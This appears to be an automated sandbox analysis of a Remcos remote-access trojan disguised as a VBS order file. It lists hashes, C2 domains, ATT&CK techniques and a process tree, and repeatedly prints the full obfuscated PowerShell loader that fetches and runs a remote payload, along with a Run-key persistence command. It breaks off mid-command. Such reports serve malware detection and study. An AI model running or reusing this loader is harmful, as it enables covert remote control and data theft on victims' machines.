remcos | 61b851b7ac68b2a0de6670bb8f469bb87433d0704d677e5ad7fcd7018ad8aded

General

Target

Order No. SO5395.vbs
Size

33KB
MD5

48faebaa28c95c83d93917a3a1f6e024
SHA1

278680bbc2421ef61c5d8e16b7ed7fe80187ec5f
SHA256

aac11c507cba9a025b8925d2f2a4f254101e77c32c16afd43c2d9fe4e11b3236
SHA512

58cc57a27097b49a9955af23c79fe49e3376ca6ee4192eec46516bdb0fea7473e4dea3fdd4163c3002b6af439bdc63b11ccf3723d105fc1dbac4edde0661a1b8
SSDEEP

768:zeifDbZ2ZBkPMag2vSJtVxInTm6tgmZJFvn0S1l0:NfDMDkk8SJnOTRfJRn0cl0

Score

10^/10

remcos rem discovery persistence rat

Malware Config

Extracted

Family

remcos

Botnet

REM

C2

rem9rrr.duckdns.org:60178

rem9rrr2.duckdns.org:61202

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-QHBC6V
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	2592	WScript.exe
19	3792	powershell.exe
61	4456	msiexec.exe
65	4456	msiexec.exe
67	4456	msiexec.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Stroppernes = "%Pascalrutiner% -windowstyle 1 $Belizeres=(gi 'HKCU:\\Software\\Babblative\\').GetValue('Regnefunktionen');%Pascalrutiner% ($Belizeres)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4456	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5932	powershell.exe
4456	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3792	powershell.exe
3792	powershell.exe
5932	powershell.exe
5932	powershell.exe
5932	powershell.exe
5740	powershell.exe
5740	powershell.exe
704	powershell.exe
704	powershell.exe
5092	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4456	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
5932	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3792	powershell.exe
Token: SeDebugPrivilege	5932	powershell.exe
Token: SeDebugPrivilege	5740	powershell.exe
Token: SeDebugPrivilege	704	powershell.exe
Token: SeDebugPrivilege	5092	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4456	msiexec.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2592 wrote to memory of 3792	2592	WScript.exe	89
PID 2592 wrote to memory of 3792	2592	WScript.exe	89
PID 5932 wrote to memory of 4456	5932	powershell.exe	106
PID 5932 wrote to memory of 4456	5932	powershell.exe	106
PID 5932 wrote to memory of 4456	5932	powershell.exe	106
PID 5932 wrote to memory of 4456	5932	powershell.exe	106
PID 4456 wrote to memory of 5700	4456	msiexec.exe	112
PID 4456 wrote to memory of 5700	4456	msiexec.exe	112
PID 4456 wrote to memory of 5700	4456	msiexec.exe	112
PID 5700 wrote to memory of 3432	5700	cmd.exe	114
PID 5700 wrote to memory of 3432	5700	cmd.exe	114
PID 5700 wrote to memory of 3432	5700	cmd.exe	114
PID 832 wrote to memory of 5740	832	WScript.exe	118
PID 832 wrote to memory of 5740	832	WScript.exe	118
PID 4336 wrote to memory of 704	4336	WScript.exe	121
PID 4336 wrote to memory of 704	4336	WScript.exe	121

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Order No. SO5395.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Refathered='func';Get-History;$Refathered+='t';Get-History;$Refathered+='i';$Brystprotesers=Get-History;$Refathered+='on:';$Brystprotesers=Get-History;(ni -p $Refathered -n Episodal -value { param($Udsningers);$Skrivekrampen=1;do {$Franks221+=$Udsningers[$Skrivekrampen];$Skrivekrampen+=2} until(!$Udsningers[$Skrivekrampen])$Franks221});(ni -p $Refathered -n dowagers -value {param($Drunkest);.($Trykknappen) ($Drunkest)});ConvertTo-Html;$Checklisternes=Episodal 'SN e t .CW';$Checklisternes+=Episodal ' EBBTc L.iGE nOt';$Overcreed=Episodal 'CM.o zSi lal a /';$Retinaculate194=Episodal ' T.lMsP1D2';$Confeder='B[HN EMtN.LSJE.r v IAcFESPRoPiAn,TnmFa n A,G,e r ] :S: SSECcAU r I tMY p rRo tBO cTOKLF= $ r,eStSiFNiaSc.UNL aTT eT1 9U4';$Overcreed+=Episodal 'K5 .L0 ,( W iAnTdBoOw se HNeT, 1S0M..0F;C BWPi nS6B4 ;O DxZ6K4 ;L HrMvg: 1 3 4V.P0 )D TGSeLc kOo /H2j0A1 0K0F1.0O1h sFRi rOeKf o x./ 1d3M4Y.,0';$Relinking=Episodal ' uks.eSRS-IADG eFnST';$Syllogistiske=Episodal ' h tBt pS:M/D/.u,p n eKt .,bPgS/ c n,/,NTo nPcMr eMd u l.o uIs ..d espLlSoFy';$Hjemvisningsreaktions=Episodal ' >';$Trykknappen=Episodal 'kI E x';$Slsomme='Pragmaticism';$Finansministres='\Snapreprisers.Pud';dowagers (Episodal ' $ GSLToObNASLL:GRSeSA M e.r eCRU= $UE NaV :gASPsP dLA T aP+U$AfKiInRa N sRm.iGN I S,T rAE.S');dowagers (Episodal 'E$AgIl O,bSatLN:Ms t aBNSdAE e.SB= $,SAYVL l O gTI s TDI SBKTE . s pQlri TB( $ h jAE m vTiGS,N i NkgIS RUE.asK tDi OCnLs.)');dowagers (Episodal $Confeder);$Syllogistiske=$Standees[0];$Restamped=(Episodal ',$AG l.ogB aDL.: rfe.N,tSeRbAE LcbSEAN,E.sD=CNPE Wl-rOPB jSeScETS SSCy sStIe.mS. $EcBH ehcKK LAiCsGt ePRnN.ePs');dowagers ($Restamped);dowagers (Episodal 'T$AR e n tpe b ePlUb eHn ensC.UH eAaGd eCrSs [,$ RTe.lNi n k iSnSg ]R=O$ O vWe r.c,r e e d');$Tauris=Episodal ' DFo wAnGl o aDd.FIi l e';$Sandsynliggr=Episodal 'V$,RAeHn tFeAb e.l,b,eFnMe,sA. $RTNa u r iEsI.SI,n v o k eF(a$OSVy lSlAo gAi s t iVs,kgeP, $ScDhPiAkMa nPe rSeF)';$chikanere=$Reamerer;dowagers (Episodal ' $,g.L OEbBA L,:TpGRTe C iPP I C,e DS=.(NT ePsPtP-CpVASTTh W$AC.H I K aSn e RKE )');while (!$Precipiced) {dowagers (Episodal ' $TgVl oCb aclU:cR,eMaNk t,iPoHnJsUm isdFlCe rP= $ UFnMd eSr cIo m.p o uLn d eRd') ;dowagers $Sandsynliggr;dowagers (Episodal 'U[FtTHSrVe a D i,n GS.STDH R EFa DU]N:N:DsOLFE e.pA(D4 0E0K0 )');dowagers (Episodal '.$ GNl,O B.aLLN: PuRSEUC I.p.I cGeAD,=S(FtTEBSUTT-nPUA.T HM $ c h i K A n.e,RVe )') ;dowagers (Episodal 'V$ag l oMb.a,lG:IRfa TSAUK S,E.La= $ gclTo B AVLG:RFPISb,rTOTcMa sNENo u s + +R%D$Os t aMnPdCEBeSs . C o,u,nAT') ;$Syllogistiske=$Standees[$Rataksel]}$koncentrationerne=408863;$Lopsidedness=26905;dowagers (Episodal ' $TG l O bOa.LO: I T aMl iRO T e U= FGsE t,- C O NJtME nSTR $UcPh I k,A nMEAR E');dowagers (Episodal '.$PgUlWoCbGa l :FUMdPt rDd eVl s e r n eMs = S[CS yOsTt eCm,.RCUo,nUvAeLr.t ] :.:TFLr o.mBBFaEs e 6P4ASSt rSi,n.g,(F$ I,t a,l iOoSt eU)');dowagers (Episodal ' $Sg lToMbIaDlT: R E,c IaT Alt iAV eSlFy =, S[ASuy S t EDmC.GTUebx TT. eHn,cNoIDTiONAGU] :S:AaFs CLI I .Cg ESt.S T R ITn,g ( $GU d,t rZD e L,sTE.r nMEFsT)');dowagers (Episodal 'P$PG lAO bGAPLB: FOe l t d.E fNiON.I,TSISo n =K$IRTe.c I T.a ToIEvOEeLFy .ASEUnB s t,r iPn,g ( $ KSO nJcSeSn T R A t i OKN EFRLnSER, $,lEO P.srI D ERd N e s sS)');dowagers $Feltdefinition;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3792

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Refathered='func';Get-History;$Refathered+='t';Get-History;$Refathered+='i';$Brystprotesers=Get-History;$Refathered+='on:';$Brystprotesers=Get-History;(ni -p $Refathered -n Episodal -value { param($Udsningers);$Skrivekrampen=1;do {$Franks221+=$Udsningers[$Skrivekrampen];$Skrivekrampen+=2} until(!$Udsningers[$Skrivekrampen])$Franks221});(ni -p $Refathered -n dowagers -value {param($Drunkest);.($Trykknappen) ($Drunkest)});ConvertTo-Html;$Checklisternes=Episodal 'SN e t .CW';$Checklisternes+=Episodal ' EBBTc L.iGE nOt';$Overcreed=Episodal 'CM.o zSi lal a /';$Retinaculate194=Episodal ' T.lMsP1D2';$Confeder='B[HN EMtN.LSJE.r v IAcFESPRoPiAn,TnmFa n A,G,e r ] :S: SSECcAU r I tMY p rRo tBO cTOKLF= $ r,eStSiFNiaSc.UNL aTT eT1 9U4';$Overcreed+=Episodal 'K5 .L0 ,( W iAnTdBoOw se HNeT, 1S0M..0F;C BWPi nS6B4 ;O DxZ6K4 ;L HrMvg: 1 3 4V.P0 )D TGSeLc kOo /H2j0A1 0K0F1.0O1h sFRi rOeKf o x./ 1d3M4Y.,0';$Relinking=Episodal ' uks.eSRS-IADG eFnST';$Syllogistiske=Episodal ' h tBt pS:M/D/.u,p n eKt .,bPgS/ c n,/,NTo nPcMr eMd u l.o uIs ..d espLlSoFy';$Hjemvisningsreaktions=Episodal ' >';$Trykknappen=Episodal 'kI E x';$Slsomme='Pragmaticism';$Finansministres='\Snapreprisers.Pud';dowagers (Episodal ' $ GSLToObNASLL:GRSeSA M e.r eCRU= $UE NaV :gASPsP dLA T aP+U$AfKiInRa N sRm.iGN I S,T rAE.S');dowagers (Episodal 'E$AgIl O,bSatLN:Ms t aBNSdAE e.SB= $,SAYVL l O gTI s TDI SBKTE . s pQlri TB( $ h jAE m vTiGS,N i NkgIS RUE.asK tDi OCnLs.)');dowagers (Episodal $Confeder);$Syllogistiske=$Standees[0];$Restamped=(Episodal ',$AG l.ogB aDL.: rfe.N,tSeRbAE LcbSEAN,E.sD=CNPE Wl-rOPB jSeScETS SSCy sStIe.mS. $EcBH ehcKK LAiCsGt ePRnN.ePs');dowagers ($Restamped);dowagers (Episodal 'T$AR e n tpe b ePlUb eHn ensC.UH eAaGd eCrSs [,$ RTe.lNi n k iSnSg ]R=O$ O vWe r.c,r e e d');$Tauris=Episodal ' DFo wAnGl o aDd.FIi l e';$Sandsynliggr=Episodal 'V$,RAeHn tFeAb e.l,b,eFnMe,sA. $RTNa u r iEsI.SI,n v o k eF(a$OSVy lSlAo gAi s t iVs,kgeP, $ScDhPiAkMa nPe rSeF)';$chikanere=$Reamerer;dowagers (Episodal ' $,g.L OEbBA L,:TpGRTe C iPP I C,e DS=.(NT ePsPtP-CpVASTTh W$AC.H I K aSn e RKE )');while (!$Precipiced) {dowagers (Episodal ' $TgVl oCb aclU:cR,eMaNk t,iPoHnJsUm isdFlCe rP= $ UFnMd eSr cIo m.p o uLn d eRd') ;dowagers $Sandsynliggr;dowagers (Episodal 'U[FtTHSrVe a D i,n GS.STDH R EFa DU]N:N:DsOLFE e.pA(D4 0E0K0 )');dowagers (Episodal '.$ GNl,O B.aLLN: PuRSEUC I.p.I cGeAD,=S(FtTEBSUTT-nPUA.T HM $ c h i K A n.e,RVe )') ;dowagers (Episodal 'V$ag l oMb.a,lG:IRfa TSAUK S,E.La= $ gclTo B AVLG:RFPISb,rTOTcMa sNENo u s + +R%D$Os t aMnPdCEBeSs . C o,u,nAT') ;$Syllogistiske=$Standees[$Rataksel]}$koncentrationerne=408863;$Lopsidedness=26905;dowagers (Episodal ' $TG l O bOa.LO: I T aMl iRO T e U= FGsE t,- C O NJtME nSTR $UcPh I k,A nMEAR E');dowagers (Episodal '.$PgUlWoCbGa l :FUMdPt rDd eVl s e r n eMs = S[CS yOsTt eCm,.RCUo,nUvAeLr.t ] :.:TFLr o.mBBFaEs e 6P4ASSt rSi,n.g,(F$ I,t a,l iOoSt eU)');dowagers (Episodal ' $Sg lToMbIaDlT: R E,c IaT Alt iAV eSlFy =, S[ASuy S t EDmC.GTUebx TT. eHn,cNoIDTiONAGU] :S:AaFs CLI I .Cg ESt.S T R ITn,g ( $GU d,t rZD e L,sTE.r nMEFsT)');dowagers (Episodal 'P$PG lAO bGAPLB: FOe l t d.E fNiON.I,TSISo n =K$IRTe.c I T.a ToIEvOEeLFy .ASEUnB s t,r iPn,g ( $ KSO nJcSeSn T R A t i OKN EFRLnSER, $,lEO P.srI D ERd N e s sS)');dowagers $Feltdefinition;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5932
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4456
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Stroppernes" /t REG_EXPAND_SZ /d "%Pascalrutiner% -windowstyle 1 $Belizeres=(gi 'HKCU:\Software\Babblative\').GetValue('Regnefunktionen');%Pascalrutiner% ($Belizeres)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5700
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Stroppernes" /t REG_EXPAND_SZ /d "%Pascalrutiner% -windowstyle 1 $Belizeres=(gi 'HKCU:\Software\Babblative\').GetValue('Regnefunktionen');%Pascalrutiner% ($Belizeres)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:3432

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3368

C:\Windows\System32\Notepad.exe
"C:\Windows\System32\Notepad.exe" C:\Users\Admin\AppData\Local\Temp\Order No. SO5395.vbs
1⤵
PID:5612

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Order No. SO5395.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Refathered='func';Get-History;$Refathered+='t';Get-History;$Refathered+='i';$Brystprotesers=Get-History;$Refathered+='on:';$Brystprotesers=Get-History;(ni -p $Refathered -n Episodal -value { param($Udsningers);$Skrivekrampen=1;do {$Franks221+=$Udsningers[$Skrivekrampen];$Skrivekrampen+=2} until(!$Udsningers[$Skrivekrampen])$Franks221});(ni -p $Refathered -n dowagers -value {param($Drunkest);.($Trykknappen) ($Drunkest)});ConvertTo-Html;$Checklisternes=Episodal 'SN e t .CW';$Checklisternes+=Episodal ' EBBTc L.iGE nOt';$Overcreed=Episodal 'CM.o zSi lal a /';$Retinaculate194=Episodal ' T.lMsP1D2';$Confeder='B[HN EMtN.LSJE.r v IAcFESPRoPiAn,TnmFa n A,G,e r ] :S: SSECcAU r I tMY p rRo tBO cTOKLF= $ r,eStSiFNiaSc.UNL aTT eT1 9U4';$Overcreed+=Episodal 'K5 .L0 ,( W iAnTdBoOw se HNeT, 1S0M..0F;C BWPi nS6B4 ;O DxZ6K4 ;L HrMvg: 1 3 4V.P0 )D TGSeLc kOo /H2j0A1 0K0F1.0O1h sFRi rOeKf o x./ 1d3M4Y.,0';$Relinking=Episodal ' uks.eSRS-IADG eFnST';$Syllogistiske=Episodal ' h tBt pS:M/D/.u,p n eKt .,bPgS/ c n,/,NTo nPcMr eMd u l.o uIs ..d espLlSoFy';$Hjemvisningsreaktions=Episodal ' >';$Trykknappen=Episodal 'kI E x';$Slsomme='Pragmaticism';$Finansministres='\Snapreprisers.Pud';dowagers (Episodal ' $ GSLToObNASLL:GRSeSA M e.r eCRU= $UE NaV :gASPsP dLA T aP+U$AfKiInRa N sRm.iGN I S,T rAE.S');dowagers (Episodal 'E$AgIl O,bSatLN:Ms t aBNSdAE e.SB= $,SAYVL l O gTI s TDI SBKTE . s pQlri TB( $ h jAE m vTiGS,N i NkgIS RUE.asK tDi OCnLs.)');dowagers (Episodal $Confeder);$Syllogistiske=$Standees[0];$Restamped=(Episodal ',$AG l.ogB aDL.: rfe.N,tSeRbAE LcbSEAN,E.sD=CNPE Wl-rOPB jSeScETS SSCy sStIe.mS. $EcBH ehcKK LAiCsGt ePRnN.ePs');dowagers ($Restamped);dowagers (Episodal 'T$AR e n tpe b ePlUb eHn ensC.UH eAaGd eCrSs [,$ RTe.lNi n k iSnSg ]R=O$ O vWe r.c,r e e d');$Tauris=Episodal ' DFo wAnGl o aDd.FIi l e';$Sandsynliggr=Episodal 'V$,RAeHn tFeAb e.l,b,eFnMe,sA. $RTNa u r iEsI.SI,n v o k eF(a$OSVy lSlAo gAi s t iVs,kgeP, $ScDhPiAkMa nPe rSeF)';$chikanere=$Reamerer;dowagers (Episodal ' $,g.L OEbBA L,:TpGRTe C iPP I C,e DS=.(NT ePsPtP-CpVASTTh W$AC.H I K aSn e RKE )');while (!$Precipiced) {dowagers (Episodal ' $TgVl oCb aclU:cR,eMaNk t,iPoHnJsUm isdFlCe rP= $ UFnMd eSr cIo m.p o uLn d eRd') ;dowagers $Sandsynliggr;dowagers (Episodal 'U[FtTHSrVe a D i,n GS.STDH R EFa DU]N:N:DsOLFE e.pA(D4 0E0K0 )');dowagers (Episodal '.$ GNl,O B.aLLN: PuRSEUC I.p.I cGeAD,=S(FtTEBSUTT-nPUA.T HM $ c h i K A n.e,RVe )') ;dowagers (Episodal 'V$ag l oMb.a,lG:IRfa TSAUK S,E.La= $ gclTo B AVLG:RFPISb,rTOTcMa sNENo u s + +R%D$Os t aMnPdCEBeSs . C o,u,nAT') ;$Syllogistiske=$Standees[$Rataksel]}$koncentrationerne=408863;$Lopsidedness=26905;dowagers (Episodal ' $TG l O bOa.LO: I T aMl iRO T e U= FGsE t,- C O NJtME nSTR $UcPh I k,A nMEAR E');dowagers (Episodal '.$PgUlWoCbGa l :FUMdPt rDd eVl s e r n eMs = S[CS yOsTt eCm,.RCUo,nUvAeLr.t ] :.:TFLr o.mBBFaEs e 6P4ASSt rSi,n.g,(F$ I,t a,l iOoSt eU)');dowagers (Episodal ' $Sg lToMbIaDlT: R E,c IaT Alt iAV eSlFy =, S[ASuy S t EDmC.GTUebx TT. eHn,cNoIDTiONAGU] :S:AaFs CLI I .Cg ESt.S T R ITn,g ( $GU d,t rZD e L,sTE.r nMEFsT)');dowagers (Episodal 'P$PG lAO bGAPLB: FOe l t d.E fNiON.I,TSISo n =K$IRTe.c I T.a ToIEvOEeLFy .ASEUnB s t,r iPn,g ( $ KSO nJcSeSn T R A t i OKN EFRLnSER, $,lEO P.srI D ERd N e s sS)');dowagers $Feltdefinition;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5740

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Order No. SO5395.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Refathered='func';Get-History;$Refathered+='t';Get-History;$Refathered+='i';$Brystprotesers=Get-History;$Refathered+='on:';$Brystprotesers=Get-History;(ni -p $Refathered -n Episodal -value { param($Udsningers);$Skrivekrampen=1;do {$Franks221+=$Udsningers[$Skrivekrampen];$Skrivekrampen+=2} until(!$Udsningers[$Skrivekrampen])$Franks221});(ni -p $Refathered -n dowagers -value {param($Drunkest);.($Trykknappen) ($Drunkest)});ConvertTo-Html;$Checklisternes=Episodal 'SN e t .CW';$Checklisternes+=Episodal ' EBBTc L.iGE nOt';$Overcreed=Episodal 'CM.o zSi lal a /';$Retinaculate194=Episodal ' T.lMsP1D2';$Confeder='B[HN EMtN.LSJE.r v IAcFESPRoPiAn,TnmFa n A,G,e r ] :S: SSECcAU r I tMY p rRo tBO cTOKLF= $ r,eStSiFNiaSc.UNL aTT eT1 9U4';$Overcreed+=Episodal 'K5 .L0 ,( W iAnTdBoOw se HNeT, 1S0M..0F;C BWPi nS6B4 ;O DxZ6K4 ;L HrMvg: 1 3 4V.P0 )D TGSeLc kOo /H2j0A1 0K0F1.0O1h sFRi rOeKf o x./ 1d3M4Y.,0';$Relinking=Episodal ' uks.eSRS-IADG eFnST';$Syllogistiske=Episodal ' h tBt pS:M/D/.u,p n eKt .,bPgS/ c n,/,NTo nPcMr eMd u l.o uIs ..d espLlSoFy';$Hjemvisningsreaktions=Episodal ' >';$Trykknappen=Episodal 'kI E x';$Slsomme='Pragmaticism';$Finansministres='\Snapreprisers.Pud';dowagers (Episodal ' $ GSLToObNASLL:GRSeSA M e.r eCRU= $UE NaV :gASPsP dLA T aP+U$AfKiInRa N sRm.iGN I S,T rAE.S');dowagers (Episodal 'E$AgIl O,bSatLN:Ms t aBNSdAE e.SB= $,SAYVL l O gTI s TDI SBKTE . s pQlri TB( $ h jAE m vTiGS,N i NkgIS RUE.asK tDi OCnLs.)');dowagers (Episodal $Confeder);$Syllogistiske=$Standees[0];$Restamped=(Episodal ',$AG l.ogB aDL.: rfe.N,tSeRbAE LcbSEAN,E.sD=CNPE Wl-rOPB jSeScETS SSCy sStIe.mS. $EcBH ehcKK LAiCsGt ePRnN.ePs');dowagers ($Restamped);dowagers (Episodal 'T$AR e n tpe b ePlUb eHn ensC.UH eAaGd eCrSs [,$ RTe.lNi n k iSnSg ]R=O$ O vWe r.c,r e e d');$Tauris=Episodal ' DFo wAnGl o aDd.FIi l e';$Sandsynliggr=Episodal 'V$,RAeHn tFeAb e.l,b,eFnMe,sA. $RTNa u r iEsI.SI,n v o k eF(a$OSVy lSlAo gAi s t iVs,kgeP, $ScDhPiAkMa nPe rSeF)';$chikanere=$Reamerer;dowagers (Episodal ' $,g.L OEbBA L,:TpGRTe C iPP I C,e DS=.(NT ePsPtP-CpVASTTh W$AC.H I K aSn e RKE )');while (!$Precipiced) {dowagers (Episodal ' $TgVl oCb aclU:cR,eMaNk t,iPoHnJsUm isdFlCe rP= $ UFnMd eSr cIo m.p o uLn d eRd') ;dowagers $Sandsynliggr;dowagers (Episodal 'U[FtTHSrVe a D i,n GS.STDH R EFa DU]N:N:DsOLFE e.pA(D4 0E0K0 )');dowagers (Episodal '.$ GNl,O B.aLLN: PuRSEUC I.p.I cGeAD,=S(FtTEBSUTT-nPUA.T HM $ c h i K A n.e,RVe )') ;dowagers (Episodal 'V$ag l oMb.a,lG:IRfa TSAUK S,E.La= $ gclTo B AVLG:RFPISb,rTOTcMa sNENo u s + +R%D$Os t aMnPdCEBeSs . C o,u,nAT') ;$Syllogistiske=$Standees[$Rataksel]}$koncentrationerne=408863;$Lopsidedness=26905;dowagers (Episodal ' $TG l O bOa.LO: I T aMl iRO T e U= FGsE t,- C O NJtME nSTR $UcPh I k,A nMEAR E');dowagers (Episodal '.$PgUlWoCbGa l :FUMdPt rDd eVl s e r n eMs = S[CS yOsTt eCm,.RCUo,nUvAeLr.t ] :.:TFLr o.mBBFaEs e 6P4ASSt rSi,n.g,(F$ I,t a,l iOoSt eU)');dowagers (Episodal ' $Sg lToMbIaDlT: R E,c IaT Alt iAV eSlFy =, S[ASuy S t EDmC.GTUebx TT. eHn,cNoIDTiONAGU] :S:AaFs CLI I .Cg ESt.S T R ITn,g ( $GU d,t rZD e L,sTE.r nMEFsT)');dowagers (Episodal 'P$PG lAO bGAPLB: FOe l t d.E fNiON.I,TSISo n =K$IRTe.c I T.a ToIEvOEeLFy .ASEUnB s t,r iPn,g ( $ KSO nJcSeSn T R A t i OKN EFRLnSER, $,lEO P.srI D ERd N e s sS)');dowagers $Feltdefinition;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:704

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Refathered='func';Get-History;$Refathered+='t';Get-History;$Refathered+='i';$Brystprotesers=Get-History;$Refathered+='on:';$Brystprotesers=Get-History;(ni -p $Refathered -n Episodal -value { param($Udsningers);$Skrivekrampen=1;do {$Franks221+=$Udsningers[$Skrivekrampen];$Skrivekrampen+=2} until(!$Udsningers[$Skrivekrampen])$Franks221});(ni -p $Refathered -n dowagers -value {param($Drunkest);.($Trykknappen) ($Drunkest)});ConvertTo-Html;$Checklisternes=Episodal 'SN e t .CW';$Checklisternes+=Episodal ' EBBTc L.iGE nOt';$Overcreed=Episodal 'CM.o zSi lal a /';$Retinaculate194=Episodal ' T.lMsP1D2';$Confeder='B[HN EMtN.LSJE.r v IAcFESPRoPiAn,TnmFa n A,G,e r ] :S: SSECcAU r I tMY p rRo tBO cTOKLF= $ r,eStSiFNiaSc.UNL aTT eT1 9U4';$Overcreed+=Episodal 'K5 .L0 ,( W iAnTdBoOw se HNeT, 1S0M..0F;C BWPi nS6B4 ;O DxZ6K4 ;L HrMvg: 1 3 4V.P0 )D TGSeLc kOo /H2j0A1 0K0F1.0O1h sFRi rOeKf o x./ 1d3M4Y.,0';$Relinking=Episodal ' uks.eSRS-IADG eFnST';$Syllogistiske=Episodal ' h tBt pS:M/D/.u,p n eKt .,bPgS/ c n,/,NTo nPcMr eMd u l.o uIs ..d espLlSoFy';$Hjemvisningsreaktions=Episodal ' >';$Trykknappen=Episodal 'kI E x';$Slsomme='Pragmaticism';$Finansministres='\Snapreprisers.Pud';dowagers (Episodal ' $ GSLToObNASLL:GRSeSA M e.r eCRU= $UE NaV :gASPsP dLA T aP+U$AfKiInRa N sRm.iGN I S,T rAE.S');dowagers (Episodal 'E$AgIl O,bSatLN:Ms t aBNSdAE e.SB= $,SAYVL l O gTI s TDI SBKTE . s pQlri TB( $ h jAE m vTiGS,N i NkgIS RUE.asK tDi OCnLs.)');dowagers (Episodal $Confeder);$Syllogistiske=$Standees[0];$Restamped=(Episodal ',$AG l.ogB aDL.: rfe.N,tSeRbAE LcbSEAN,E.sD=CNPE Wl-rOPB jSeScETS SSCy sStIe.mS. $EcBH ehcKK LAiCsGt ePRnN.ePs');dowagers ($Restamped);dowagers (Episodal 'T$AR e n tpe b ePlUb eHn ensC.UH eAaGd eCrSs [,$ 